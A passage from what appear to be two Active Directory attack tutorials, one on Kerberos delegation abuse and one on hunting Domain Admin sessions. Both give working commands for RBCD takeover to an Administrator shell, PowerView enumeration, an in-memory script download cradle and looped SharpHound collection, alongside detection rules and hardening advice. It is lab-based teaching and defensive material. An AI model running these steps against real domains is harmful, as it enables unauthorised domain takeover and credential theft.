LOWPRIV@LAB.LOCAL  -[GenericWrite]->  COMP01.LAB.LOCAL

Confirm the same edge with PowerView and confirm we can create machine accounts:

Get-DomainObjectAcl -Identity COMP01 -ResolveGUIDs |
  Where-Object {$_.SecurityIdentifier -match (Get-DomainUser lowpriv).objectsid} |
  Select-Object ActiveDirectoryRights, ObjectAceType
ActiveDirectoryRights ObjectAceType
--------------------- -------------
            WriteProperty All
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-DS-MachineAccountQuota
ms-ds-machineaccountquota
-------------------------
                       10

Two findings confirmed: lowpriv can write to COMP01, and the quota lets us create the attacker-controlled computer we need.

Create the attacker computer (PowerMad)

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'FakePass1!' -AsPlainText -Force)
[+] Machine account FAKE01 added
$fakeSid = (Get-ADComputer FAKE01).SID.Value
$fakeSid
S-1-5-21-3623811015-3361044348-30300820-1142

Write the SID into COMP01’s RBCD attribute

We build a security descriptor granting FAKE01 the right to act on behalf of others, serialize it, and write it.

$rsd = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$fakeSid)"
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rsd
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer COMP01 | Set-ADObject -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
Get-ADComputer COMP01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
DistinguishedName : CN=COMP01,CN=Computers,DC=lab,DC=local
msDS-AllowedToActOnBehalfOfOtherIdentity : {1, 0, 4, 128...}
Name              : COMP01

COMP01 now trusts FAKE01 to delegate to it. Because we know FAKE01‘s password, we run S4U as FAKE01 and impersonate any user to COMP01.

Run the S4U chain and land code execution

getST.py -dc-ip 192.168.56.10 -spn cifs/COMP01.lab.local -impersonate Administrator 'lab.local/FAKE01$:FakePass1!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
export KRB5CCNAME=Administrator@cifs_COMP01.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass Administrator@COMP01.lab.local
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
lab\administrator

Cleanup (mandatory in authorized work)

Set-ADComputer COMP01 -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
Remove-ADComputer FAKE01 -Confirm:$false
# attribute cleared, FAKE01 removed

Hierarchy diagram showing how lowpriv uses GenericWrite and MachineAccountQuota to stage FAKE01, write the RBCD attribute on COMP01, and execute the S4U chain to gain SYSTEM
RBCD requires only a single GenericWrite edge and the default MachineAccountQuota to manufacture a self-contained domain takeover primitive.

8. Chaining Techniques: Realistic Attack Paths

None of these live in isolation. The engagement value is the chain.

ChainPath
Roast to delegation to DAKerberoast svc_sql (weak password) -> svc_sql holds protocol-transition constrained delegation to cifs/DC01 -> S4U + altservice to ldap/DC01 -> DCSync krbtgt
ACL to RBCD to hostGenericWrite over COMP01 (found in BloodHound) -> create FAKE01 via quota -> write msDS-AllowedToActOnBehalfOfOtherIdentity -> S4U -> SYSTEM on COMP01
Coercion to domainFind unconstrained WEB01 -> own it via cracked svc_iis -> Printer Bug coerce DC01$ TGT -> PtT -> DCSync

The connective tissue is always enumeration. PowerView and BloodHound tell you which roasted account matters, which write primitive reaches a tier-0 path, and which coercion target is trusted for delegation. Roasting a random print-queue service that goes nowhere is wasted noise; roasting the one account that also holds delegation rights is the kill.


9. Common Attacker Techniques

TechniqueDescription
KerberoastingRequest TGS for user-SPN accounts, crack RC4 ticket offline
Targeted KerberoastingAdd SPN via GenericWrite, roast, clear SPN
Unconstrained TGT theftCapture cached TGTs (incl. DC) from LSASS on a delegation host
Printer Bug coercionForce a target to authenticate via MS-RPRN spooler RPC
S4U2Self / S4U2Proxy abuseImpersonate arbitrary users via protocol transition
altservice substitutionRewrite a service ticket’s SPN class (CIFS to LDAP) for DCSync
RBCD takeoverWrite msDS-AllowedToActOnBehalfOfOtherIdentity + S4U chain
MachineAccountQuota abuseCreate computer accounts as a standard user for RBCD staging
Pass-the-TicketInject stolen or forged TGT/TGS into the current session

10. Defensive Strategies and Detection

Offense without the blue-side picture is half a craft. Each attack above leaves a distinct trail if the audit policy is right. Enable Audit Kerberos Service Ticket Operations and Audit Directory Service Changes at minimum; without those, 4769 and 5136 simply do not appear.

Windows Security event IDs

Event IDLogTriggerDetection use
4769SecurityTGS requestedKerberoasting: TicketEncryptionType=0x17 from a non-machine account; S4U2Self: ServiceName == AccountName; S4U2Proxy: non-empty TransitedServices
4768SecurityTGT requestedBaseline; spot a host requesting a TGT for a DC machine account post-coercion
4738SecurityUser account changedDelegation / UAC flag toggles, msDS-AllowedToDelegateTo edits on users
4742SecurityComputer account changedDelegation flag changes on machine accounts
4741SecurityComputer account createdNew machine accounts; alert when creator is a non-admin (RBCD/PowerMad staging)
5136SecurityDirectory object modifiedRBCD: AttributeLDAPDisplayName=msDS-AllowedToActOnBehalfOfOtherIdentity, OperationType=Value Added

A single account requesting many TGS in a burst, or any RC4 request in an AES-enforced domain, is the highest-fidelity Kerberoasting signal. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is near-certain RBCD staging.

Sigma: Kerberoasting

title: Potential Kerberoasting via RC4 Service Ticket Request
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    TicketOptions: '0x40810000'
  filter:
    ServiceName|endswith: '$'
    AccountName|endswith: '$'
  condition: selection and not filter
level: high

Sigma: RBCD staging

title: Resource-Based Constrained Delegation Attribute Write
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'msDS-AllowedToActOnBehalfOfOtherIdentity'
    OperationType: '%%14674'   # Value Added
  condition: selection
level: high

ETW and other telemetry

ProviderUse
Microsoft-Windows-Security-AuditingSource for all 4769/5136/4741 events
Microsoft-Windows-Kerberos-Key-Distribution-CenterDC-side KDC tracing, verbose TGS issuance
Microsoft Defender for IdentityNative Kerberoasting, RBCD, and S4U anomaly detection on the DC sensor
Directory Services field-engineering logging (level 5)Captures raw LDAP filter strings, surfaces (servicePrincipalName=*) sweeps

Hardening checklist

ControlAddresses
Group Managed Service Accounts (gMSA)Removes Kerberoasting; 240-char auto-rotating passwords
Service passwords >= 25 chars, randomKerberoasting mitigation where gMSA is infeasible
Enforce AES, disable RC4 (msDS-SupportedEncryptionTypes=24)Forces AES TGS, cracking orders of magnitude harder
Protected Users group for all tier-0 accountsTickets cannot be delegated; no RC4
“Account is sensitive and cannot be delegated” (NOT_DELEGATED)Blocks S4U impersonation of admins
Remove unconstrained delegation from non-DCsEliminates Printer Bug TGT theft
MachineAccountQuota=0 via GPOBlocks user-created computers for RBCD staging
Restrict GenericWrite/WriteProperty on computer objectsRemoves the RBCD write primitive
Disable Print Spooler on DCs and sensitive serversKills the coercion vector

Symbolic illustration of a cracked Kerberos shield being repaired, representing defensive hardening against delegation attacks
Delegation misconfigurations accumulated over years collapse under a single enumeration pass – hardening with gMSA, AES enforcement, and Protected Users closes the most exploited paths.

11. Tools for Delegation Analysis

ToolDescriptionLink
Impacket (GetUserSPNs.py, getST.py, secretsdump.py)Linux SPN/S4U/DCSync toolkitgithub.com/fortra/impacket
RubeusWindows kerberoast, S4U, monitor, pttgithub.com/GhostPack/Rubeus
PowerViewLDAP delegation and ACL enumerationgithub.com/PowerShellMafia
BloodHound / SharpHoundGraph-based delegation and ACL path findingbloodhound.specterops.io
PowerMadCreate machine accounts for RBCD staginggithub.com/Kevin-Robertson/Powermad
MimikatzTGT dumping, DCSync, PtTgithub.com/gentilkiwi/mimikatz
hashcatOffline TGS cracking (13100/19600/19700)hashcat.net
SpoolSample / printerbug.pyMS-RPRN coerciongithub.com/leechristensen/SpoolSample
setspn.exeNative SPN registration and querydocs.microsoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
KerberoastingT1558.003Event 4769 RC4 from non-machine account
Steal or Forge Kerberos TicketsT15584768/4769 anomalies, ticket lifetimes
Golden TicketT1558.001Post-DCSync krbtgt use; anomalous TGT
Pass the TicketT1550.003Rubeus ptt; injected ticket without prior 4768
Forced AuthenticationT1187Spooler RPC callback, 4768 for DC machine account
Access Token / Delegation ManipulationT11344738/4742 delegation flag changes, 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity
OS Credential Dumping: DCSyncT1003.0064662 replication GUID access from non-DC

Summary

  • SPN and delegation misconfigurations let any authenticated user climb to Domain Admin, so enumeration of servicePrincipalName, UAC delegation flags, and msDS-* attributes is the highest-value reconnaissance in AD.
  • Kerberoasting works because the KDC encrypts service tickets with the service account’s password-derived key; user SPNs with RC4 enabled are offline-crackable, computer SPNs are not.
  • Unconstrained delegation caches full TGTs in LSASS; combined with Printer Bug coercion it converts a member-server foothold into a DC TGT and krbtgt compromise.
  • Constrained delegation with protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION) enables S4U2Self plus S4U2Proxy impersonation of any user, and the altservice trick pivots CIFS tickets into LDAP for DCSync.
  • RBCD only needs write access to a single computer object plus a non-zero MachineAccountQuota, making it the most accessible takeover primitive once you find a GenericWrite edge.
  • Detect via Event 4769 (RC4 TGS bursts), Event 5136 (writes to msDS-AllowedToActOnBehalfOfOtherIdentity), and Event 4741 (rogue machine accounts); defend with gMSA, AES enforcement, Protected Users, MachineAccountQuota=0, and spooler hardening on DCs.

Related Tutorials

References

Session, Logged-On User, and Local Admin Hunting: Finding Where Domain Admins Are Logged In

You phished a workstation. You’re LABUSER, a nobody in the domain: no local admin, no nested groups, no juicy ACLs. The Domain Admin you actually want never logs on to your box. So the only questions that matter right now are these: where is that privileged account authenticated at this moment, and which of those machines can you already touch with the access you have? Answer both and you’ve drawn a straight line from foothold to SYSTEM on a Domain Controller.

Objective: Understand how a low-privileged domain user enumerates active network sessions, interactive logons, and local administrator membership across domain-joined hosts to locate where Domain Admins are logged in, the exact RPC interfaces and Win32 APIs that make this possible, and the full blue-team detection and hardening stack that turns the hunt into noise.


1. Why Session Hunting Matters in AD Attacks

Credentials in Active Directory are sticky. When a privileged account authenticates interactively to a machine, secrets land in LSASS memory: NTLM hashes, Kerberos TGTs, sometimes cleartext if WDigest or an old credential provider is in play. If you can run as local admin or SYSTEM on that machine, those secrets are yours. That is the entire economic logic of session hunting. You are not attacking the Domain Controller directly. You are finding the cheaper path: a workstation where a DA forgot to log off, where you can already escalate, and where LSASS is sitting there with a Domain Admin TGT in it.

This is a Discovery-phase activity (MITRE TA0007) that directly feeds Lateral Movement (TA0008). The output is a target list ranked by value: “Box X currently holds a session for an account in Domain Admins, and I have local admin on Box X.” Everything else is plumbing.

Two concepts get conflated constantly, so pin them down now:

  • A network session is an SMB connection from a remote host to a file or pipe resource. It tells you who connected to this machine over the network, not who is sitting at the console. These are transient and noisy.
  • An interactive logon is a console, RDP, service, or batch logon where the user’s credentials are materialized in LSASS on that machine. This is the prize, because the credential material is local to the box.

The three enumeration primitives below map to these two ideas, and confusing them wastes hours in an engagement.


2. The Three Session Enumeration Primitives

Three distinct RPC interfaces answer “who is on this machine.” Each calls a different Win32 wrapper, traverses a different named pipe, and demands a different privilege. Keeping them separate is the difference between a clean hunt and a pile of false leads.

MethodAPI / TransportMin PrivilegeReturns
NetSessionEnumnetapi32.dll / MS-SRVS / \PIPE\srvsvcDomain user (level 10, pre-2016) or local admin (post-2016)Network / SMB sessions
NetWkstaUserEnumnetapi32.dll / MS-WKST / \PIPE\wkssvcLocal admin on targetInteractive, service, batch logons
Remote RegistryHKEY_USERS / MS-RRP / \PIPE\winregLocal admin + Remote Registry runningInteractive logons (SIDs under HKEY_USERS)

Primitive 1: NetSessionEnum (network sessions)

NetSessionEnum returns the list of active SMB sessions connected to a server. The RPC server lives behind the \PIPE\srvsvc named pipe and speaks the MS-SRVS protocol. The killer property: at level 10, on hosts that predate the 2016 hardening, any authenticated domain user can query it. That made it the backbone of Invoke-UserHunter and early BloodHound session collection for years.

The catch is what it returns. The sesi10_cname field is the client name (usually an IP), and sesi10_username is the account that established the SMB session. This is excellent for spotting where an admin’s workstation is reaching out from, but it almost never returns local accounts (they generally cannot connect over SMB), and the results are incomplete by design. You point it at a file server or DC and learn which clients are currently talking to it.

Primitive 2: NetWkstaUserEnum (interactive logons)

NetWkstaUserEnum is the reliable one when you have the access for it. Microsoft’s own documentation states the list “includes interactive, service, and batch logons.” It runs over the \PIPE\wkssvc pipe (MS-WKST), and it requires local administrator on the target. That privilege gate is exactly why it returns the good stuff: it tells you who is logged on at the box, not who connected over the network.

This is the most reliable way to list logged-on users when you hold admin credentials. PowerView’s Get-NetLoggedon wraps it directly, and SharpHound implements it in the ReadUserSessionsPrivileged method inside ComputerSessionProcessor.cs, with the P/Invoke declared in NativeMethods.cs.

Primitive 3: Remote Registry (HKEY_USERS)

When a user logs on interactively, Windows loads their profile hive under HKEY_USERS, keyed by SID. Enumerate the subkeys of HKEY_USERS on a remote machine and you get the SIDs of every interactively logged-on user. The transport is the \PIPE\winreg pipe (MS-RRP), and it needs the Remote Registry service running plus local admin.

That service is disabled by default on Windows 10/11 workstations and set to trigger-start on server SKUs (it starts when something pokes \PIPE\winreg). Sysinternals PsLoggedOn uses this method, which is why it sometimes returns nothing on a hardened workstation even when someone is clearly logged in.

Local admin group enumeration (SAMR)

The other half of the equation is “where do I already have admin.” NetLocalGroupGetMembers (in netapi32.dll, over the SAMR protocol on \PIPE\samr) returns the members of BUILTIN\Administrators (RID 544) on a remote host. PowerView exposes this as Get-NetLocalGroupMember; SharpHound handles it in LocalAdminProcessor.cs. Cross-reference the local admin members against where DA sessions live and the kill chain writes itself.


Hierarchy diagram showing the four session enumeration primitives branching from an attacker host, each connected to its named pipe transport and the type of data returned, with privilege requirements indicated by node grouping
Each enumeration primitive targets a distinct named pipe, returns different session data, and demands a different privilege level – conflating them leads to false negatives and wasted time.

3. Windows API Internals: Structs and Signatures

Tools abstract this away, but you should know what they call, because EDRs hook these exact symbols and because writing your own collector dodges signatured binaries.

NetSessionEnum‘s full signature:

NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
    [in]      LMSTR    servername,    // \\host or NULL for local
    [in]      LMSTR    UncClientName, // filter by client, NULL = all
    [in]      LMSTR    username,      // filter by user, NULL = all
    [in]      DWORD    level,         // 0, 1, 2, 10, 502
    [out]     LPBYTE   *bufptr,       // receives allocated array
    [in]      DWORD    prefmaxlen,    // MAX_PREFERRED_LENGTH
    [out]     LPDWORD  entriesread,
    [out]     LPDWORD  totalentries,
    [in, out] LPDWORD  resume_handle
);

The level parameter controls both the returned struct and the privilege required. Level 10 is the low-privilege sweet spot:

typedef struct _SESSION_INFO_10 {
    LMSTR sesi10_cname;      // client name (typically source IP)
    LMSTR sesi10_username;   // account that opened the session
    DWORD sesi10_time;       // seconds the session has been active
    DWORD sesi10_idle_time;  // seconds the session has been idle
} SESSION_INFO_10, *PSESSION_INFO_10;

Levels 1 and 2 carry richer data (open files, session flags, client type), but only members of the local Administrators or Server Operators group can call them. Level 10 returns the four fields above and was historically callable by any authenticated user.

NetWkstaUserEnum‘s signature is simpler since it has no client/user filters:

NET_API_STATUS NetWkstaUserEnum(
    LMSTR   servername,
    DWORD   level,        // 0 or 1
    LPBYTE  *bufptr,
    DWORD   prefmaxlen,
    LPDWORD entriesread,
    LPDWORD totalentries,
    LPDWORD resume_handle
);

Level 1 hands back WKSTA_USER_INFO_1, which is what you want for attribution:

typedef struct _WKSTA_USER_INFO_1 {
    LMSTR wkui1_username;     // logged-on account
    LMSTR wkui1_logon_domain; // its domain
    LMSTR wkui1_oth_domains;  // other domains
    LMSTR wkui1_logon_server; // DC that authenticated it
} WKSTA_USER_INFO_1, *PWKSTA_USER_INFO_1;

Both APIs allocate their output buffer inside netapi32.dll. You must release it with NetApiBufferFree(bufptr) or you leak. A custom level-10 collector in C# looks like this skeleton, declaring the P/Invoke and marshaling the array:

[DllImport("netapi32.dll", SetLastError = true)]
static extern int NetSessionEnum(
    string servername, string UncClientName, string username,
    int level, out IntPtr bufptr, int prefmaxlen,
    out int entriesread, out int totalentries, ref int resume_handle);

[DllImport("netapi32.dll")]
static extern int NetApiBufferFree(IntPtr buffer);

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct SESSION_INFO_10 {
    public string sesi10_cname;
    public string sesi10_username;
    public uint   sesi10_time;
    public uint   sesi10_idle_time;
}

// NetSessionEnum("\\\\DC01.lab.local", null, null, 10, out p,
//   -1 /*MAX_PREFERRED_LENGTH*/, out read, out total, ref resume);
// Walk p as SESSION_INFO_10[read]; Marshal.PtrToStructure each entry,
// advancing by Marshal.SizeOf(typeof(SESSION_INFO_10)).
// Always NetApiBufferFree(p) when done.

Why does the authentication “just work” against a remote host? Because the RPC bind rides SMB, and when SharpHound or PowerView passes a hostname (not an IP), the SMB client requests a Kerberos service ticket for the cifs/DC01.lab.local SPN, presents it, and the server validates the PAC in the ticket. No password prompt, no NTLM, because your current Kerberos TGT is good for the whole domain. That single-sign-on behavior is what lets a foothold fan out across hundreds of hosts silently.


4. The Windows Server 2016 / KB2871997 Privilege Shift

For years the level-10 trick was free reconnaissance. Microsoft eventually closed it. As of Windows Server 2016 (and rolled into the broader credential-hardening work tracked under updates like KB2871997), querying NetSessionEnum requires administrator access on the target. The control is a security descriptor stored in the registry:

HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\SrvsvcSessionInfo

On a default modern server, the DACL on that value no longer grants the Authenticated Users SID (S-1-5-11) read access to session info, so a plain domain user calling level 10 gets ERROR_ACCESS_DENIED (5). On an unhardened or legacy DC, or one where an admin loosened that key, the call still succeeds for any domain user. This is exactly why the lab DC in the next section is left at defaults: so you can see the working case before you understand what removes it.

Practical takeaway: against a 2019 DC that has not had this key tightened, level 10 works. Against a freshly patched 2022 environment with the default DACL, it does not, and you fall back to NetWkstaUserEnum (which needs admin anyway). Test, don’t assume.


5. Manual Enumeration with Built-in Tools and PowerView

Enumeration always precedes exploitation. Before you can hunt sessions you need the host list, and before you trust a tool you should know the living-off-the-land equivalent.

Built-in living-off-the-land checks

net session shows sessions connected to the local box. It needs admin even locally, but it costs nothing and burns no tooling:

C:\> net session
Computer               User name            Client Type       Opens Idle time

\\10.10.10.41          LABDA                                       0 00:02:13
The command completed successfully.

qwinsta queries terminal/RDP sessions on a remote server, useful for spotting an interactive RDP logon:

C:\> qwinsta /server:WS01.lab.local
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console           LABDA                     1  Active
 rdp-tcp                                  65536  Listen

Host discovery via LDAP with PowerView

Load PowerView in memory so nothing touches disk, then pull every computer object. The LDAP filter under the hood is (&(objectCategory=computer)(objectClass=computer)):

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.99/PowerView.ps1')
Get-DomainComputer | Select-Object dnshostname, operatingsystem
dnshostname           operatingsystem
-----------           ---------------
DC01.lab.local        Windows Server 2019 Standard Evaluation
WS01.lab.local        Windows 10 Pro
WS02.lab.local        Windows 10 Pro

That’s your target universe. Three hosts here; in a real estate it’s hundreds, and you’d pipe dnshostname straight into the session functions.

Network sessions with Get-NetSession

Get-NetSession wraps NetSessionEnum at level 10. Point it at the DC, which sees connections from everywhere:

Get-NetSession -ComputerName DC01.lab.local
CName        : \\10.10.10.41
UserName     : LABDA
Time         : 133
IdleTime     : 12
ComputerName : DC01.lab.local

10.10.10.41 is WS01. So a Domain Admin’s workstation is actively talking to the DC. That alone narrows the hunt.

Interactive logons with Get-NetLoggedon

Get-NetLoggedon wraps NetWkstaUserEnum and needs local admin on the target. Run it against WS01 once you have that access:

Get-NetLoggedon -ComputerName WS01.lab.local
UserName     LogonDomain   AuthDomains   LogonServer
--------     -----------   -----------   -----------
LABDA        LAB                         DC01
WS01$        LAB                         DC01
LABUSER      LAB                         DC01

LABDA is logged on interactively at WS01. Confirmed prize.

Local admin membership with Get-NetLocalGroupMember

Get-NetLocalGroupMember calls NetLocalGroupGetMembers over SAMR and answers “who can already own this box”:

Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators
ComputerName : WS01.lab.local
GroupName    : Administrators
MemberName   : WS01\Administrator
SID          : S-1-5-21-3623811015-3361044348-30300820-500
IsGroup      : False
IsDomain     : False

ComputerName : WS01.lab.local
GroupName    : Administrators
MemberName   : LAB\Workstation Admins
SID          : S-1-5-21-3623811015-3361044348-30300820-1142
IsGroup      : True
IsDomain     : True

If LABUSER is nested into LAB\Workstation Admins, you already have admin on WS01, the same box where LABDA is logged in. That is the whole game in two queries.

One-shot hunting with Find-DomainUserLocation

Find-DomainUserLocation is the modern successor to Invoke-UserHunter. It iterates the computers from Get-DomainComputer, runs Get-NetSession plus Get-NetLoggedon on each, and cross-references against the membership of a target group:

Find-DomainUserLocation -UserGroupIdentity "Domain Admins" -ShowAll
UserDomain      : LAB
UserName        : LABDA
ComputerName    : WS01.lab.local
IPAddress       : 10.10.10.41
SessionFrom     : 10.10.10.41
LocalAdmin      :

One command, full sweep: LABDA (Domain Admin) is on WS01.lab.local. Note the timing caveat though. A single scan catches only the sessions live at that instant.


6. Automated Mapping with BloodHound and SharpHound

Manual hunting is fine for three hosts. At scale you need a graph, and you need to scan repeatedly, because privileged users log on and off all day. A single network sweep typically captures only 5 to 15 percent of the sessions that actually occur. That is why looped collection exists.

SharpHound Community Edition is the official collector for BloodHound CE. It’s C#, it calls the same native Win32 functions covered above plus LDAP for object data, and it emits a graph of nodes (users, computers, groups) and edges (relationships).

The collection methods you care about for this hunt:

MethodWhat It Collects
SessionNetwork + logon sessions via NetSessionEnum and NetWkstaUserEnum
LocalAdminBUILTIN\Administrators membership via SAMR
LoggedOnLogged-on users, privileged collection path
AllEverything, including GPO and ACL data

Run looped session collection so you catch users as they come and go. This runs for two hours, dropping a zip after each loop:

SharpHound.exe --CollectionMethods Session --Loop --Loopduration 02:00:00 --OutputDirectory C:\Temp\
2024-03-11T14:02:07 INFO  Resolved Collection Methods: Session
2024-03-11T14:02:07 INFO  Initializing SharpHound at 2:02 PM on 3/11/2024
2024-03-11T14:02:08 INFO  Loop is set, will loop for 02:00:00
2024-03-11T14:02:11 INFO  Beginning LDAP search for lab.local
2024-03-11T14:02:33 INFO  Status: 3 objects finished (+3 1.5)/s -- Using 41 MB RAM
2024-03-11T14:02:34 INFO  Session enumeration: WS01.lab.local -> LABDA
2024-03-11T14:02:35 INFO  Session enumeration: WS02.lab.local -> LABUSER
2024-03-11T14:02:36 INFO  Compressing data to C:\Temp\20240311140236_BloodHound.zip
2024-03-11T14:32:36 INFO  Loop 2 complete. Compressing data to C:\Temp\...

Ingest the zips into BloodHound CE. Each session becomes a HasSession edge from a Computer node to a User node. Now query the graph. First, find any computer holding a Domain Admin session:

MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})
RETURN c.name, u.name
c.name              u.name
------              ------
"WS01.LAB.LOCAL"    "LABDA@LAB.LOCAL"

Then ask BloodHound to draw the full attack path from your owned node to Domain Admins:

MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"}))
RETURN p

BloodHound renders the path visually: LABUSER is AdminTo WS01, WS01 HasSession LABDA, LABDA is MemberOf Domain Admins. The graph just told you exactly which box to move to and why.

The kill-chain payoff

You now hold two facts that combine into a takeover: WS01 has an interactive Domain Admin session, and LABUSER already has local admin on WS01. The next move is lateral movement to WS01 and credential harvesting from LSASS (the DA’s TGT or NTLM hash). That step is out of scope here; it lives in the credential-access material. Session hunting’s job ends at “here is the box, and you can already touch it.”


Flow diagram tracing the full attack path from a low-privileged foothold on WS02 through LDAP host discovery, NetSessionEnum session sweep on the DC, SAMR local admin confirmation, lateral movement to WS01, and LSASS credential harvest to achieve Domain Admin
Session hunting chains two independent facts – where a Domain Admin is logged on and where you already have local admin – into a straight lateral-movement path to credential theft.

7. Lab Walkthrough: Hunting Domain Admins

Build this in any hypervisor (VMware, VirtualBox, Hyper-V). It reproduces the full path end to end.

MachineRoleConfig
DC01 (Server 2019 Eval)DC for lab.localStandard DC, no SrvsvcSessionInfo hardening, Remote Registry enabled
WS01 (Windows 10/11 Pro)Domain workstationLABDA logged in interactively (run a process as that user)
WS02 (Windows 10/11 Pro)Attacker footholdLABUSER (plain domain user)
AllSysmon installed, logging to Event Viewer

To simulate the live DA session on WS01, run any process as LABDA and leave it open:

runas /user:LAB\LABDA "powershell.exe -NoExit"

Then walk the path from WS02 as LABUSER.

Step 1: Confirm your context. Know who you are before you move.

whoami /all
USER INFORMATION
----------------
User Name   SID
=========== ==============================================
lab\labuser S-1-5-21-3623811015-3361044348-30300820-1106

GROUP INFORMATION
-----------------
Group Name                  SID
=========================== =============================================
LAB\Domain Users            S-1-5-21-3623811015-3361044348-30300820-513
BUILTIN\Users               S-1-5-32-545
LAB\Workstation Admins      S-1-5-21-3623811015-3361044348-30300820-1142

Note Workstation Admins membership. That hints you may have admin somewhere.

Step 2: Host discovery. Already shown in section 5; Get-DomainComputer returns DC01, WS01, WS02.

Step 3: Low-priv network session sweep. Get-NetSession -ComputerName DC01.lab.local returns LABDA connecting from 10.10.10.41 (which is WS01). The DA’s workstation is identified without any admin rights, courtesy of the unhardened DC.

Step 4: Confirm the interactive logon. Because LABUSER is in Workstation Admins, which is local admin on WS01, Get-NetLoggedon -ComputerName WS01.lab.local succeeds and shows LABDA logged on (section 5 output).

Step 5: Verify your admin foothold. Get-NetLocalGroupMember -ComputerName WS01.lab.local -GroupName Administrators shows LAB\Workstation Admins as a member. You are admin on the exact box with the DA session.

Step 6: Sanity-check with the one-shot hunter. Find-DomainUserLocation confirms LABDA on WS01.

Step 7: Graph it for repeatability. Loop SharpHound for two hours, ingest, run the Cypher queries from section 6. The path lights up.

Step 8: Stop at the boundary. You have the target (WS01) and the access (local admin). Hand off to lateral movement and credential dumping.


8. Common Attacker Techniques

TechniqueDescription
Level-10 session sweepCall NetSessionEnum level 10 as a plain domain user against DCs and file servers to map where privileged workstations connect from
Privileged logon enumerationUse NetWkstaUserEnum on hosts where you have local admin to read interactive, service, and batch logons
Remote Registry profilingQuery HKEY_USERS subkeys over \PIPE\winreg to list interactively logged-on SIDs
Local admin mappingEnumerate BUILTIN\Administrators over SAMR to find boxes you already control
Looped session collectionRun SharpHound --Loop to capture transient privileged sessions over time, raising coverage well past a single snapshot
Graph pathfindingUse BloodHound HasSession and AdminTo edges to compute the shortest path from foothold to Domain Admins

9. Detection: Sysmon, Event Log, ETW, and Sigma

Every one of these primitives traverses a named pipe over SMB, which means a defender with the right audit policy sees all of them. Enumeration first applies to blue teams too: turn on the right channels before you go looking.

Audit policy prerequisites

Without these subcategories enabled, the high-fidelity events never fire:

auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Detailed File Share" /success:enable
auditpol /set /subcategory:"File Share" /success:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable

Detailed File Share is the important one. It produces Event 5145, which records the relative target name of each named-pipe open, and that is the single best signal for catching session enumeration.

Windows Security Event Log

Event IDChannelWhat It Catches
4624SecuritySuccessful logon; LogonType 3 is the network logon that SMB session enumeration triggers; pivot on SubjectUserName for non-admin callers
4627SecurityGroup membership at logon
4776SecurityNTLM credential validation attempts
5140SecurityNetwork share object access, including IPC$ (the share NetSessionEnum rides)
5145SecurityDetailed share access; reveals \PIPE\srvsvc, \PIPE\wkssvc, \PIPE\winreg opens

A clean 5145 for a session sweep looks like this:

Event ID: 5145
Account Name:      LABUSER
Source Address:    10.10.10.42
Share Name:        \\*\IPC$
Relative Target Name: srvsvc
Accesses:          ReadData (or ListDirectory)

Sysmon events

Sysmon Event IDUse Case
1 (Process Create)Alert on net.exe session, psloggedon.exe, netsess.exe, or SharpHound.exe; key fields Image, CommandLine, ParentImage
3 (Network Connection)Correlate one process making rapid port-445 connections to many hosts; key fields Image, DestinationPort, DestinationHostname
18 (Pipe Connected)Catches connections to \srvsvc, \wkssvc, \winreg

Sysmon Event 3 ties each TCP/UDP connection to its originating process via ProcessId and ProcessGUID, and carries source/destination hosts, IPs, and ports. A fan-out of port-445 connections from one image in seconds is the SharpHound signature:

EventID: 3  Network connection detected
Image: C:\Temp\SharpHound.exe
Protocol: tcp   Initiated: true
DestinationPort: 445
DestinationHostname: DC01.lab.local  (then WS01, WS02, ... in rapid succession)

ETW providers

  • Microsoft-Windows-SMBClient: outbound SMB and pipe access from the attacker host.
  • Microsoft-Windows-SMBServer: inbound IPC$ and named-pipe connections on the victim.
  • Microsoft-Windows-LDAP-Client: SharpHound’s LDAP queries can be captured by an ETW trace session while the tool runs, exposing the host-discovery phase before any SMB traffic fires.

Sigma rules

Catch the rapid port-445 fan-out that defines a session scanner:

title: Potential AD Session Enumeration via SMB Fan-Out
logsource:
  product: windows
  category: network_connection   # Sysmon EventID 3
detection:
  selection:
    EventID: 3
    DestinationPort: 445
    Initiated: 'true'
  timeframe: 30s
  condition: selection | count(DestinationHostname) by Image > 10
fields:
  - Image
  - User
  - DestinationHostname
  - DestinationIp
level: high

Catch the named-pipe opens that every primitive shares, via Event 5145:

title: Remote Named Pipe Access for Session Enumeration
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\IPC$'
    RelativeTargetName|contains:
      - 'srvsvc'
      - 'wkssvc'
